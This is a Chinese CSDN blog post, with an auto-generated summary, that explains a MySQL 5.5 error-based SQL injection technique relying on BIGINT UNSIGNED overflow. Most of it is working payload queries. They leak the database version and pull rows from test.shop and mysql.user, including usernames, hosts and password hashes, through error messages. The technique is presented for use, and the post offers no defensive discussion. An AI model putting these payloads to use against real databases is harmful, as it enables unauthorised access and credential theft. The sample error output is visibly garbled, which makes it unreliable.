新型mysql报错注入

本文探讨了一种新型的MySQL报错注入问题,特别指出该问题仅存在于MySQL 5.5版本中。通过利用BIGINT UNSIGNED范围错误,可以获取数据库中的信息。错误信息的长度限制是关键因素,允许攻击者通过调整LIMIT参数来定位不同行的数据。示例查询展示了如何构造报错注入语句,以揭示特定行的数据,如用户、主机和密码等敏感信息。
摘要由CSDN通过智能技术生成
新型mysql报错注入,这种报错注入主要是基于mysql中无符号int数据类型的溢出:
1.查询数据库版本:
select 2*(if((select 8 from (select (version()))s),18446744073709551610, 18446744073709551610));=select 1E308*if((select * from (select version())x),2,2)或者=select if(x,2,2)*1E308 from(select version()x)y

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if (( Select ' 5.5 from Dual), 18446744073709551610.1844674407370955 1610))' 1610))'


2.获取字段名称:

select 2*if((select * from (select * from test.shop)as a limit 1)>(select * from test.shop limit 1),18446744073709551610, 18446744073709551610);=select 1E308*if((select * from(select * from mysql.user) a limit 1)>(select *from mysql.user limit 1),2,2)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值